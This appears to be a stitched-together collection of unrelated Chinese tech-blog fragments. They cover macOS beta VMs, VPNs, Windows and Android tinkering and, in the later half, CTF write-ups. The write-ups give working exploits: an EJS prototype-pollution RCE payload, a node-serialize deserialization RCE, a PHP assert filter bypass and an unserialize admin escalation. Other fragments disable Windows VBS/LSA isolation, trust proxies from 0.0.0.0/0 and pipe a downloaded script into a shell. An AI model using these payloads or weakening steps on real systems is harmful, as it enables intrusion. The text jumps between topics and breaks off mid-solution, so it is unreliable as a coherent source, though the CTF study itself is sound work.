• macOS 正式版不能直接安装更新的测试版的虚拟机，需要安装测试版Xcode或者Mobile Device Support.^[1]
• 如果你在 macOS Tahoe 26.5.1 及更早版本上安装了 Xcode 27 测试版，由于已知错误，macOS 虚拟机安装将会失败并会损坏你的macOS的虚拟机模块。要恢复虚拟机安装功能，需要重新安装 macOS操作。^[2]
• 在虚拟机中登录加入开发者计划的Apple账号后会发现你不能在虚拟机中接收Beta更新。^[3]

并且 macOS 27 不在支持Intel架构的 Mac 设备，所以黑苹果方案也不可行。

在苹果的层层阻挠之下，我们应该不能使用在实体机之外的方案安装测试版的虚拟机了吧？不，还是有方案的。在基于Apple Silicon的Mac上安装macOS虚拟机，使用的是统一的虚拟化框架^[4]。在使用IPSW进行全新安装时，由于VZMacOSInstallerAPI差异，会导致安装失败。^[5]但是只需要绕开这个API即可安装。在没有测试版系统设备的前提下，只能先安装正式版本的macOS的虚拟机，然后再升级到macOS 27 Beta.

在社区中有人提供了解决方案^[6]，在系统中输入下面这一段命令，使得系统可以在Beta通道获取更新。

sudo defaults write com.apple.MobileAsset MobileAssetAssetAudience -string 621ba5ab-54b6-4a71-891a-425ac0ce4551
sudo defaults write com.apple.MobileAsset MobileAssetServerURL-com.apple.MobileAsset.SoftwareUpdate -string "https://swscan.apple.com/content/catalogs/others/index-27seed-27-26-15-14-13-12-10.16-10.15-10.14-10.13-10.12-10.11-10.10-10.9-mountainlion-lion-snowleopard-leopard.merged-1.sucatalog.gz"
sudo killall -HUP mobileassetd
sudo killall -HUP betaenrollmentd
open "x-apple.systempreferences:com.apple.Software-Update-Settings.extension"

其中，MobileAssetAssetAudience和MobileAssetServerURL-com.apple.MobileAsset.SoftwareUpdate可以在已经开启对应Beta版通道的macOS中提取。

sudo defaults read com.apple.MobileAsset MobileAssetAssetAudience
sudo defaults read com.apple.MobileAsset MobileAssetServerURL-com.apple.MobileAsset.SoftwareUpdate

之前的方案有一些弊端，WireGuard原生使用UDP协议，在部分网络环境下会遭遇严重的丢包或拦截。虽然当时我们可以借助Phantun进行缓解，利用其将UDP数据流转换为伪装TCP数据流的特性，强行穿透三层和四层（NAPT）防火墙或NAT设备，但这种外挂工具链并不能在所有操作系统上完美兼容。因此，为了彻底解决协议层面的阻碍，本期我们将换用更成熟稳定的OpenVPN作为本项目的基础环境。

而且，我们使用的服务器是具有公网IP的。我们可以通过NAT端口转发，将我们大内网中的某个端口映射到公网上。比如说你的大内网中有一台服务器，这个时候你可以将服务器的业务端口映射到公网，然后将管理端口保留在大内网中进行异地管理。

在开始实操之前，依旧是我们传统的：

提供的软件如下：

| 软件 | 用途 | |

我们在部署的时候只需要在配置文件中（如果使用宝塔面板、1panel 等工具则将其添加到伪静态）添加下面的代码即可。其中，将 http://127.0.0.1:8080/替换为你的后端地址。

location / {
    try_files $uri $uri/ /index.html;
}
location /prod-api/ {
    proxy_set_header Host $http_host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header REMOTE-HOST $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

    proxy_pass http://127.0.0.1:8080/;
}

关闭内核隔离，直接 win，然后搜索内核隔离就可以，然后点击详细关闭就可以。

关闭防火墙，这个 b 站都有详细的教学而且选择比较多，我不建议完全关闭防火墙，这里不做赘述。

然后是比较重点的问题，虚拟化的安全性是默认开启的，我们需要关闭虚拟化的安全性（图片是关闭后的）

这个关闭方法目前已知有 3 种，第一种是通过 bat 脚本关闭，这个脚本是由华为提供的，有新的版本，但是可能关不上，用老版本的可以关上，具体根据自己电脑来试。这里提供一个视频链接，为防止网盘过期，对应的老版本脚本会和这个文件放在一个文件夹。

@echo off

dism /Online /Disable-Feature:microsoft-hyper-v-all /NoRestart
dism /Online /Disable-Feature:IsolatedUserMode /NoRestart
dism /Online /Disable-Feature:Microsoft-Hyper-V-Hypervisor /NoRestart
dism /Online /Disable-Feature:Microsoft-Hyper-V-Online /NoRestart
dism /Online /Disable-Feature:HypervisorPlatform /NoRestart

REM ===========================================

mountvol X: /s
copy %WINDIR%\System32\SecConfig.efi X:\EFI\Microsoft\Boot\SecConfig.efi /Y
bcdedit /create {0cb3b571-2f2e-4343-a879-d86a476d7215} /d "DebugTool" /application osloader
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} path "\EFI\Microsoft\Boot\SecConfig.efi"
bcdedit /set {bootmgr} bootsequence {0cb3b571-2f2e-4343-a879-d86a476d7215}
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} loadoptions DISABLE-LSA-ISO,DISABLE-VBS
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} device partition=X:
mountvol X: /d
bcdedit /set hypervisorlaunchtype off

echo.
echo.
echo.
echo.
echo =======================================================
echo 当前操作已完成，接下来请关闭此窗口并重启电脑，然后根据屏幕提示完成剩下操作。
pause > nul
echo.
echo.

编者小注： 在记事本中，请另存为 ANSI 格式。

第二种情况是进入 BOIS，然后进行操作，但是这种会影响虚拟机的使用。 第三种情况是下载雷电模拟器，用模拟器的引导来关闭，因为这个占用算力也影响模拟器运行，所以会附带他们的解决方法。

关闭虚拟安全，关闭完成后可以先试试能不能用。

如果不能，大概就是 VirtualBox 出的问题，进入 VirtualBox 打开 AR 模拟机会报错

这就是 ensp 里面 AR 设备不能使用的原因

需要按照以下步骤:

1. win+r 输入 hdwwiz
2. 选择高级，然后找到 VirtualBox 目录drivers\network\netadp6, 然后安装驱动。

3. 打开 VirtualBox 选择全局工具，查看网络管理器，确定#2 网卡 ip 地址为 192.168.56.1/24，这个地址是固定的

4. 选择 AR_Base，点击设置，修改连接方式和网卡，网卡后缀为#2,如图

到了这一步 VirtualBox 的 AR 基本可以正常启动了，如图

5.然后进 ensp 去重新注册 AR 设备，只选 AR。

我需要使用专门的段落强调一下，此处所提到的 VPN 是一种技术，正确使用是合法的，目前国内有许多企业或者高校仍在使用 VPN 技术进行远程办公，所以不要谈 VPN 色变。

本次我们搭建 WireGuard 所利用的就是专用网络（可以理解为局域网）这个属性，使得我们可以使用安全的方式链接到我们的局域网中的设备。并防止未经授权的登陆。

我在上周尝试使用 Tailscale 搭建了一个大内网环境。由于他们的服务器在境外，所以体验并不是特别如意。平时也可以勉强用用，但是上周有一节选修课的时候，我想使用电脑远程到我的远程计算机去写仍然没有完成的代码，但是 Tailscale 的延迟令我萌生出找到解决方案或者卸载掉它的冲动。

Tailscale DERP 部署上仍然有一些难度，且仍然有外网通信，影响效率。Tailscale 是基于 WireGuard 的，这给了一些启示。

我们可以使用 WireGuard 建立专用网络环境，但是我们的所有局域网节点设备均没有公网 IP，无法建立连接，需要有一台在公网环境下的服务器用于中转流量。我们在公网服务器上搭建 WireGuard 的服务端，然后让每个局域网节点设备均作为客户端进行工作。

在开始之前，我们需要明确的三点是：

1. 如果你在学校或者单位使用，请清楚由于此行为导致的危害，包括但不限于由于你的操作而导致的有意或者无意中的泄密或者危害到单位或者学校的其他设备的安全以及之后的经济或者人身安全。如果你符合条件，并执意要继续操作，则造成的所有责任均为你个人承担。
2. 如果你正准备跟随本文的描述进行实践操作，请通篇阅读，并再三思考此文是否适合你。本文仅描述其中的一个个例（即我本人使用的方案），并不适合每个人，请在合适的时机做出自己的思考，切勿照搬照抄（每个人的网络环境都不一样）。
3. 在操作之前，你需要具备基础的视力、计算机操作能力、Linux 基础知识、网络的基础知识、信息的检索能力。

声明

这里提供的是基于 LineageOS 二次开发的第三方 ROM，如需要下载官方 ROM 请前往 LineageOS 下载。我们认为你拥有自行处理此 ROM 的能力，我们只接受 bug 反馈和新功能建议，不接受由于你个人原因导致的问题和求助。

终端

开发套件安装

作为一名开发者，最离不开的就是终端了，我们需要一系列终端工具用于开发，也需要配置一系列环境，这时候就需要安装Command Line Tools. 这些工具提供 macOS 开发基本环境，是多数第三方工具和包管理器（如 Homebrew）的依赖。我们可以使用下面的命令安装。

xcode-select --install

我这边已经安装完了，所以显示结果如图。

简单又完整的APK签名图形化工具

在给她补充能源后，她又恢复了往日的生机。这台平板在 2018 年发布，仅在 2020 年就停止了官方维护，搭载着骁龙 660 的身体和 Android 8.1 的系统并无法在现在正常的使用。如何让她焕发生机，就成了这期文章的主题了。

重拾过往

目前来说，换一个 Soc 很困难，但是对于老款小米来说的话，解锁 Bootloader 应该是个轻松的事情。系统搭载着基于 Android 8.1 的 MIUI 10 ，只需要在登录小米账号后等 7 天就行。我们在这期间测试了这个系统能否在现在的环境下正常使用。

首先是系统软件，系统软件都无法更新，并停留在 MIUI 10 时期的设计风格。这个风格和操作逻辑在目前来说已经过时（甚至都不支持音量下 + 电源键截屏）。系统虽然支持了全面屏操作手势，但是操作尚未进行打磨，略感生硬一点。从之前的生态发展情况来看，安卓平板一直都不景气，维护周期低也属于正常情况。

对于 LTE 版本的话，官方系统阉割了电话功能，你插卡只能使用短信和移动数据。当然也是有一点好处的。毕竟广告 API 都换接口了，没有（系统）广告也是真的。

对于第三方应用，这个时候就体现出国内软件强大的兼容性了。几乎所有的国产软件都可以在安卓 7.1 和 5.1 下正常运行，甚至有的软件可以在安卓 4.x 版本下运行。在原版系统不刷任何模块的情况下，如果单纯日常使用已经足够了。

但是如果要使用境外软件的话，这台平板在官方系统上完全谈不到能用。

首先，MIUI 10 并没有给预装 GMS 套件，这导致了你可以与很多 App 说 Bye 了。其次，这系统 版本也过于老旧了，就拿 Microsoft Remote Desktop 举例，最新的版本的 Min SDK 是 API 28 （Android 9）。如果要使用的话就只能使用老版本和老旧的软件解码器。诸如 Microsoft 365 和 Google Chrome 等一众生产力功能已经无法安装。

另附注：Webview 版本是 71 的，也意味着你打不开很多先进的网页。对于爱奇艺神器来说的话，也已经无法维持正常的工作了。

焕然一新

在进行了 7 天的煎熬的等待后，这个平板终于可以解锁 BootLoader 了。我逛遍了各大论坛，这个板子使用两种包，一种是类原生，一种是 MIUI 13 的官改包。

先来盘点一下 MIUI 13 的包，目前来说，我能找到的包都是 Android 11 的包。考虑到她的渺小的 System 分区和那已经过时的 4 GB 运行内存，我不认为刷这个包可以带来多好的体验。由于 System 分区根本不够用，系统肯定要阉割很多组件。如果你刷机是奔着和你的小米手机互联，则可以考虑一下，否则完全不建议你刷入官改 MIUI 13.

我选择的是 Crdroid Android 的类原生系统，目前对比下来，Crdroid 的系统仍然在持续更新中，并且已经更新 Android 15，而且他们家对于大屏方面的优化要强于其他的类原生操作系统。Crdroid 的官网充斥着广告和随意跳转的链接，我们可以通过 SourceForge 的下载链接下载，她的代号是clover，只需要找到对应的代号下载即可。

在刷入的时候我就遇到了一个坑，我的电脑 USB 接口是 USB 3.0 的，在连接 Fastboot 模式后不识别我的设备，这个可以参照我之前的一篇教程解决: https://www.hestudio.net/posts/fix-xiaomi-fastboot-driver.html

刷入之后可以正常使用，使用过程中有些小卡顿，但是至少是可以正常使用了。

关于校验的问题，这个我还没太搞懂，可能要靠大家帮忙了。事情是这样的，我本来想给这个板子刷面具，但是刷入之后修补 Boot 之后无法进入系统（也就是卡米），只能靠还原 Boot 恢复。之前刷过一台手机（不应该当着她的面提另一台手机的，她会吃醋的），出现这个问题的原因是没有关 AVB 校验，导致校验不通过。但是我没有在包中找到她的 vbmeta.img，不知道如何开 Root. 目前我有一种方案，就是重新打包 ROM，然后在 ROM 中集成 Magisk，可能这个方法能解决问题，我并未尝试，不知道有没有作用。

之后就放寒假了，我将她和其他设备一起塞进包里一起打包带回家了。当时正在写 Web 的动态布局，所以用这个平板作为测试用机使用。后来项目写完了，平板就放在那里吃灰了。毕竟这么一个 7 年前的平板的性能肯定是不如现在性能强悍的旗舰机的。这个平板也就被我弟拿去玩去了。

对于游戏来说，我弟在这个平板上下载了三款游戏，分别是暗区突围、沙威玛传奇、Minecraft.其中，Minecraft 在该平板运行的效果不是特别好，有卡顿感，这个东西跟个人习惯和插件数量有关。据我弟描述（我不会玩），这个平板玩暗区突围的体验还是很可以的，腾讯对游戏的优化还是很不错的（让每一个小学生都能平等的充值 648）。我记得在 2020 年的时候，我的上古 OPPO A59s 仍然可以打吃鸡。

那对于软件的话，就有点差强人意了。 这个平板不能同时运行两个 3A 大作，一旦出现两个 3A 大作（QQ 和抖音）同时出现在后台，这个平板就会寄掉。我愿称这俩为大厂优化最烂的软件了（自家的游戏都比这个流畅）。大厂通过优化极强的游戏和极低的爆率为国家提供极高的 GDP，然后使用优化极烂的社交软件让大学生为手机厂商贡献出旗舰机的销量，变相贡献 GDP.

微信：登录已过期，请重新登录。

锦上添花

可能冷落她的时间有点长了，她的耐心已经殆尽，单次充满电的使用时长已经不超过一个小时了。我在闲鱼（不是广子）上淘了一块电池，准备给她换上。大概等了三年（天上一天地上一年）终于拿到电池了。

我之前认为这个平板是塑料壳子的（这个质感和外观很难想象是金属的），但是这个确实是金属的，我拆了一下午都拆不开，只能在外面找了一个手机店拆机（手机店老板查教程拆了半个小时才拆开）。

这个系统还差了一点东西，比如下载应用不方便、通知接收问题。Crdroid 的包里并没有 GMS 套件，需要手动补全。OpenGapps 的 Github 目前仍在更新，但是官方 Release 只更新到 Android 11。

我刷的是NikGapps的 GMS 套件，这个平板只能刷 Core 包（毕竟 System 分区就那点大小了）。当时刷的时候刷的是 Full 包，刷入的时候一直报错空间不足，我只能刷回 Crdroid 包覆盖掉。但是，Crdroid 会备份包内的其他应用，刷完之后再恢复（这点比 LineageOS 做的强一点）。

最后的解决方案是这样的：先抹掉 System 分区，然后刷入 Crdroid，最后刷入 GMS Core 套件。重启系统时候过一遍 OOBE 就可以正常使用了，数据也可以正常保留。

完结撒花

如今，这台小米平板 4 Plus 在经历重重改造后，虽不再拥有全新设备的极致性能，却以独特的姿态在生活中找到了新的定位。她见证了数码科技的变迁，从曾经官方维护停止的黯淡，到在各种折腾与优化下重获新生。现在的她，偶尔被我拿来查阅资料，在那不算流畅却也稳定的操作中，开启一段别样的信息探索之旅；而当我望着她，心中满是感慨，这不仅是一次对旧设备的拯救，更是一场与数码过往的对话。未来，或许她还会面临新的挑战，但我相信，只要对数码的热爱与探索精神不灭，她定能继续在时光里闪耀独属于自己的微光，续写属于她的不凡故事 。

最后，附上几张使用图片。

在<Home Assistant目录>/config/configuration.yaml里添加这么一段内容并重启 Home Assistant.

http:
  use_x_forwarded_for: true
  trusted_proxies:
    - 0.0.0.0/0

本着增强动手能力（整活）的心态，我决定在我的手机上安装一个deepseek-r1模型。由于在电脑上安装过于简单，将不再赘述。

步骤 1：停止并禁用本机的 SMB 服务

为了通过本地环回地址映射到非标准端口的 SMB 服务，首先需要停止并禁用本机的 SMB 服务。

1. 打开 Windows 服务管理器：

   • 按下 Win + R，输入 services.msc，然后按回车。
   • 在服务列表中找到 Server 服务。

   

2. 停止并禁用 Server 服务：

   • 右键点击 Server 服务，选择 停止。
   • 再次右键点击，选择 属性，将启动类型设置为 禁用。

   

3. 重启电脑以确保更改生效。

步骤 2：设置端口转发

接下来，我们需要通过命令提示符设置端口转发，将本地的 445 端口映射到远程 SMB 服务器的非标准端口。

1. 以管理员身份打开命令提示符：

   • 按下 Win + X，选择 Windows PowerShell (管理员) 或 命令提示符 (管理员)。

2. 输入以下命令来设置端口转发：

   netsh interface portproxy add v4tov4 listenport=445 listenaddress=172.16.61.16 connectaddress=<服务器IP或域名> connectport=<服务器端口>
   

   其中：

   • listenport=445 表示本地监听的端口。
   • listenaddress=172.16.61.16 表示本地监听的 IP 地址。
   • connectaddress=<服务器IP或域名> 表示远程 SMB 服务器的 IP 地址或域名。
   • connectport=<服务器端口> 表示远程 SMB 服务器的端口号。

步骤 3：连接 SMB 服务

完成端口转发设置后，您可以通过以下方式连接 SMB 服务：

• 在文件资源管理器的地址栏中输入 \\127.0.0.1，然后按回车。

此时，Windows 将通过本地环回地址连接到远程 SMB 服务器，绕过默认的 445 端口限制。

注意事项

• 确保远程 SMB 服务器的端口已正确配置并允许访问。
• 如果需要恢复本机的 SMB 服务，可以重新启用 Server 服务并删除端口转发规则。

通过以上步骤，您可以成功在 Windows 上连接非标准端口的 SMB 服务，实现设备备份和数据共享。

在写新版脚本之前，我们在 QQ 群里里统计了 Android 用户的版本占比，并根据统计的结果作为优化侧重点。，根据统计结果，我们侧重于高版本 Android 的优化，并推出了导致 proot 容器闪退的集成解决方案，使用户更容易的使用脚本。

建议在安装之前，先粗略的阅读一遍教程和文章底部的文档，方便在遇到问题是及时定位到相应的文档。

前言

由于 kali 官方的 Nethunter 的安装代码因为...无法访问，手头又没有一些受支持的机器，所以做了这个脚本，供大家使用。

工具

1. 搭载基于 Android 的手机
2. Termux
3. VNC Viewer (可选)
4. Shizuku (Android12 及以上版本可选， Android11 及以下版本无需此软件)

安装软件(如已安装请忽略)

你可以在 Github 下载Termux的安装包，也可以通过关注微信公众号 heStudio Community回复 kali 获取下载链接。

安装基本系统

打开 Termux， 运行安装脚本。

termux-setup-storage && curl -O --url https://res.hestudio.net/kali_for_android/install.sh && chmod +x install.sh && ./install.sh

根据脚本操作即可。如果遇到以下情况，请直接点击回车：

按照提示跟着教程完成安装即可。

from Crypto.Cipher import ChaCha20_Poly1305
import os

key = os.urandom(32)
nonce = os.urandom(12)

with open('flag.txt', 'rb') as f:
    plaintext = f.read()

cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce)

ct, tag = cipher.encrypt_and_digest(plaintext)

print(f"Encrypted Flag: {ct.hex()}")
print(f"Tag: {tag.hex()}")
print(f"Nonce: {nonce.hex()}")

with open('key.txt', 'w') as key_file:
    key_file.write(key.hex())

Encrypted Flag: 20408b9fc498063ad53a4abb53633a6a15df0ddaf173012d620fa33001794dbb8c038920273464e13170e26d08923aeb
Tag: 70ffcc508bf4519e7616f602123c307b
Nonce: d8ebeedec812a6d71240cc50

3=t#sMX3?9GHSPdi4i^gk!3*(cH8S8XT2y&?Tv4!?AGG=R]ZDy/PVVa+DqiXAH*}DS&Nn*a+@<H,=!L

题目描述：你的意思是说，只要我继续打 ctf，下次做 crypto 时，就会有一个长腿黑丝双马尾的甜妹突然坐到我的腿上，并害羞的红着脸对我说，前辈你 crypto 打的真厉害，所以要不要和我交往！

分析

查看文件附件提供的可以并不是真正的key，真正的key是 32 位 HEX 值。尝试对 key 进行解密，尝试各种解密方案，最后可以通过 base92 对key进行解密。

另注：这题跟 ChaCha20-Poly1305 一点关系都没有，提交给官方的 Write UP 没说这句。

173974535637a5ef30a116b03d00bd2fe751951ca3eaa62daec2b8f5ca5b6135

获取到key后，可以编写 payload 解密。

from Crypto.Cipher import ChaCha20_Poly1305
from binascii import unhexlify

# 已知的加密参数(替换为实际值)
key_hex = "173974535637a5ef30a116b03d00bd2fe751951ca3eaa62daec2b8f5ca5b6135"
nonce_hex = "d8ebeedec812a6d71240cc50"
ciphertext_hex = "20408b9fc498063ad53a4abb53633a6a15df0ddaf173012d620fa33001794dbb8c038920273464e13170e26d08923aeb"
tag_hex = "70ffcc508bf4519e7616f602123c307b"

# 转换十六进制为字节
key = unhexlify(key_hex)
nonce = unhexlify(nonce_hex)
ciphertext = unhexlify(ciphertext_hex)
tag = unhexlify(tag_hex)

# 创建解密器
cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce)

try:
    # 解密并验证
    plaintext = cipher.decrypt_and_verify(ciphertext, tag)
    print(f"解密后的明文: {plaintext.decode()}")
except ValueError as e:
    print(f"解密失败: {str(e)}")

其实用在线工具也能解出来。

// backdoor
app.post("/UserList", (req, res) => {
  user = req.body;
  const blacklist = ["\\u", "outputFunctionName", "localsName", "escape"];
  const hacker = JSON.stringify(user);
  for (const pattern of blacklist) {
    if (hacker.includes(pattern)) {
      res.status(200).json({ message: "hacker!" });
      return;
    }
  }
  copy(users, user);
  res.status(200).json(user);
});

黑名单检查后会执行copy函数，我们再看一下copy函数。

function copy(object1, object2) {
  for (let key in object2) {
    if (key in object2 && key in object1) {
      copy(object1[key], object2[key]);
    } else {
      object1[key] = object2[key];
    }
  }
}

copy会将所有传入的内容全部传给users这个对象。

const blacklist = ["\\u", "outputFunctionName", "localsName", "escape"];

由于blacklist禁用掉了很多函数（甚至也禁用掉了 Unicode 标准符号），我们需要另寻他法执行 RCE.同时，感谢黑名单提醒我该如何完成这道题（没有黑名单我根本不知道 RCE 这个思路）

以下部分思路来自从西湖 Easyjs 讨论 nodejs 引擎 RCE - 先知社区

我们尝试在render处打断点，当GET localhost/后一步一步查看。

我们可以尝试使用outputFunctionName并列的destructuredLocals实现远程执行命令。opts.destructuredLocals[i]使用的是数组，所以我们要使用数组的方式传入。根据代码结构，我们准备如下示例字符串。

a=a;global.process.mainModule.require('child_process').execSync('calc');//var __tmp2

完整的数据就是：

{
  "__proto__": {
    "destructuredLocals": [
      "a=a;global.process.mainModule.require('child_process').execSync('calc');//var __tmp2"
    ]
  }
}

我们将上述字符串发给/UserList，然后请求/，可以顺利打开计算器。

现在，我们只要据此修改 Payload，使用替换命令将/flag复制替换掉模板的index.ejs即可。

a=a;global.process.mainModule.require('child_process').execSync('cp /flag /app/views/index.ejs');//var __tmp2

{
  "__proto__": {
    "destructuredLocals": [
      "a=a;global.process.mainModule.require('child_process').execSync('cp /flag /app/views/index.ejs');//var __tmp2"
    ]
  }
}

将以上 JSON 发给/UserList，然后请求两次/（一遍是为了让命令运行生效，一遍是为了获取 flag），可以顺利获得 flag.

根据题目源码，我们可以找到路径。

app.get("/login", function (req, res) {
  res.render("login");
});

打开后是一个登录界面。

根据代码中的账密可以登录。

users = { guest: "123456" };

让我们看一下代码。

app.post("/login", function (req, res) {
  username = req.body.username;
  password = req.body.password;
  if (!username || !password) {
    return res.status(400).send("用户名和密码都是必填项");
  }
  if (!users[username]) {
    return res.status(409).send("用户名不存在");
  } else {
    if (users[username] === password) {
      token = Buffer.from(
        serialize.serialize({ username: username, isAdmin: false }),
      ).toString("base64");
      res.cookie("token", token, {
        maxAge: 900000,
        httpOnly: true,
      });
      return res.status(200).redirect("/index");
    } else {
      return res.status(200).send("密码错误");
    }
  }
});

此处已代码格式化，题目提供的源码没有代码格式化。

当验证通过后，网页会向我们发送一个由 base64 包裹的 Cookie，我们可以在浏览器获得这个 Cookie.

此处使用的是 EditThisCookie 浏览器插件，实际上在开发者模式中也可以查改 Cookie.

将 token 解密后可以获得 Cookie 的内容，我们就要从这里下手。

那继续分析一下代码。

当访问/index会调用auth函数验证身份。

app.get("/index", auth, function (req, res) {
  res.render("index");
});

function auth(req, res, next) {
  if (req.cookies.token) {
    const user = serialize.unserialize(
      Buffer.from(req.cookies.token, "base64").toString(),
    );
    if (!user.username) {
      return res.status(401).redirect("/login");
    }
  } else {
    return res.status(401).redirect("/login");
  }
  next();
}

在这里会将传入的 Cookie 反序列化，这里就是下手点。

我们返回package.json, 查看依赖版本。

"node-serialize": "^0.0.4"

版本符合CVE-2017-5941的限定版本。

Node.JS Remote Code Execution ≈ Packet Storm中提供了此 CVE 的 Payload，使用

code = "_$$ND_FUNC$$_" + payload;

代码可以触发 RCE 漏洞。

我们可以据此编写一个 Payload.

{
  "username": "guest",
  "isAdmin": false,
  "payload": "_$$ND_FUNC$$_function(){require('child_process').execSync('cp /flag /app/views/index.ejs')}()"
}

将其转为 base64，然后替换掉 token 即可获取 flag.

<?php

error_reporting(0);

if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];

    if (preg_match("/flag|cat|ls|echo|php|bash|sh|more| |less|head|tail|[\|\&\>\<]|eval|system|exec|popen|shell_exec/i", $cmd)) {
        die("Blocked by security filter!");
    } else {
        eval($cmd);
    }
} else {
    highlight_file(__FILE__);
}
?>

进入网页后显示了以上代码。它过滤了一些关键字（为什么还有空格！！），我们需要在上面运行 Shell，拿到 flag。

但是它有点小粗心，没有禁止assert，那我要发挥咯~~

我们可以assert套一层base64拿到flag.

先将以下命令转为base64

shell_exec("cat /flag")

然后再包含进代码中，GET请求发过去。

assert(base64_decode("c2hlbGxfZXhlYygiY2F0IC9mbGFnIik="))

程序运行时，会让你输入 flag，并将你输入的文本传给一个加密算法，如果验证和已加密文本v5吻合，则提示Yeah,You get what you want!!!

我们可以观察到，验证结果在v2上，如果v2为True，则通过验证。

if ( v2 )
      v1 = "Yeah,You get what you want!!!";

我们继续查看v2

v2 = sub_140011217(v6, (unsigned int)v0, v5);

追踪该函数可得：

__int64 __fastcall sub_140011860(__int64 a1, int a2, _BYTE *a3)
{
  __int64 v4; // rbx
  _BYTE *v6; // rax
  __int64 v7; // rdi

  v4 = a2;
  sub_1400112C1(&unk_14001E00F);
  if ( (int)v4 <= 0 )
    return 1LL;
  v6 = a3;
  v7 = a1 - (_QWORD)a3;
  while ( v6[v7] == *v6 )
  {
    if ( ++v6 - a3 >= v4 )
      return 1LL;
  }
  return 0LL;
}

这是一个比较函数，用于比对字符串是否符合要求。将v6和v5进行比对。

我们继续向上分析，v6为我们输入的文本，

sub_140011073("%s", (const char *)v6);

然后会传入

sub_1400112E9(v6, (unsigned int)v0, v4);

推测这个就是加密函数，v4就是密钥：

strcpy(v4, "ISCTF");

追踪sub_1400112E9函数可得：

__int64 __fastcall sub_1400117A0(_BYTE *a1, int a2, __int64 a3)
{
  __int64 result; // rax
  int i; // r9d
  int v8; // r8d

  result = sub_1400112C1((__int64)&unk_14001E00F);
  for ( i = 0; i < a2; ++a1 )
  {
    v8 = (char)*a1;
    result = (unsigned int)(v8 - 65);
    if ( (unsigned __int8)(*a1 - 65) <= 0x19u )
    {
      v8 += *(char *)(i % 5u + a3);
      result = (unsigned int)(26 * (v8 / 26));
      LOBYTE(v8) = v8 % 26 + 65;
    }
    *a1 = v8;
    ++i;
  }
  return result;
}

将加密模块用 Python 复现：

def generate_payload(target_text, key):
    payload = ""
    key_length = len(key)

    for i, char in enumerate(target_text):
        if 'A' <= char <= 'Z':
            shift = ord(key[i % key_length])
            original_char = (ord(char) - 65 - shift + 65) % 26 + 65
            payload += chr(original_char)
        else:
            payload += char

    return payload


target_text = "QKEMK{7JB5_i5_W3SllD_3z_W3}"
key = "ISCTF"


payload = generate_payload(target_text, key)
print("Generated Payload:", payload)

运行即可得到 flag.

<?php
error_reporting(0);

class Flag {
    private $flag;

    public function __construct() {
        $this->flag = file_get_contents('/flag');
    }

    public function getFlag() {
        return $this->flag;
    }

    public function __toString() {
        return "You can't directly access the flag!";
    }
}

class User {
    public $username;
    public $isAdmin = false;

    public function __construct($username) {
        $this->username = $username;
    }

    public function __wakeup() {
        if ($this->isAdmin) {
            echo "Welcome, admin! Here's your flag: " . (new Flag())->getFlag();
        } else {
            echo "Hello, " . htmlspecialchars($this->username) . "!";
        }
    }
}

if (isset($_GET['data'])) {
    $data = $_GET['data'];

    $object = unserialize($data);
    if ($object instanceof User) {
        echo $object;
    } else {
        echo "Invalid object!";
    }
} else {
    highlight_file(__FILE__);
}
?>

我们需要构造一个 User 对象，并将 isAdmin 设置为 true，以便在反序列化时触发 __wakeup() 方法并执行 getFlag() 来读取 flag。

<?php
class Flag {
    private $flag;

    public function __construct() {
        $this->flag = file_get_contents('/flag');
    }

    public function getFlag() {
        return $this->flag;
    }

    public function __toString() {
        return "You can't directly access the flag!";
    }
}

class User {
    public $username;
    public $isAdmin = false;

    public function __construct($username) {
        $this->username = $username;
    }

    public function __wakeup() {
        if ($this->isAdmin) {
            echo "Welcome, admin! Here's your flag: " . (new Flag())->getFlag();
        } else {
            echo "Hello, " . htmlspecialchars($this->username) . "!";
        }
    }
}

$payload = new User("attacker");
$payload->isAdmin = true;

$data = serialize($payload);

echo urlencode($data);
?>

运行后拿到 URL 编码的序列化字符串，这个字符串就是我们要传递的 data 参数。

O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A8%3A%22attacker%22%3Bs%3A7%3A%22isAdmin%22%3Bb%3A1%3B%7D

然后就可以拿到 flag 了。

import libnum
import gmpy2
from Crypto.Util.number import *

flag=b'ISCTF{********}'
m=bytes_to_long(flag)

p=libnum.generate_prime(1024)
q=libnum.generate_prime(1024)
n=p*q
e=0x10001
c=pow(m,e,n)
d=inverse(e,(p-1)*(q-1))
leak = (d+(pow(p,q,n)+pow(q,p,n)))%n

print("c=", c)
print("n=", n)
print("leak=", leak)

"""
c= 8989289659072309605793417141528767265266446236550650613514493589798432446586991233583435051268377555448062724563967695425657559568596372723980081067589103919296476501677424322525079257328042851349095575718347302884996529329066703597604694781627113384086536158793653551546025090807063130353950841148535682974762381044510423210397947080397718080033363000599995100765708244828566873128882878164321817156170983773105693537799111546309755235573342169431295776881832991533489235535981382958295960435126843833532716436804949502318851112378495533302256759494573250596802016112398817816155228378089079806308296705261876583997
n= 13424018200035368603483071894166480724482952594135293395398366121467209427078817227870501294732149372214083432516059795712917132804111155585926502759533393295089100965059106772393520277313184519450478832376508528256865861027444446718552169503579478134286009893965458507369983396982525906466073384013443851551139147777507283791250268462136554061959016630318688169168797939873600493494258467352326974238472394214986505312411729432927489878418792288365594455065912126527908319239444514857325441614280498882524432151918146061570116187524918358453036228204087993064505391742062288050068745930452767100091519798860487150247
leak= 9192002086528025412361053058922669469031188193149143635074798633855112230489479254740324032262690315813650428270911079121913869290893574897752990491429582640499542165616254566396564016734157323265631446079744216458719690853526969359930225042993006404843355356540487296896949431969541367144841985153231095140361069256753593550199420993461786814074270171257117410848796614931926182811404655619662690700351986753661502438299236428991412206196135090756862851230228396476709412020941670878645924203989895008014836619321109848938770269989596541278600166088022166386213646074764712810133558692545401032391239330088256431881
"""

编写一个 Payload 用于解决这道题。

from Crypto.Util.number import long_to_bytes
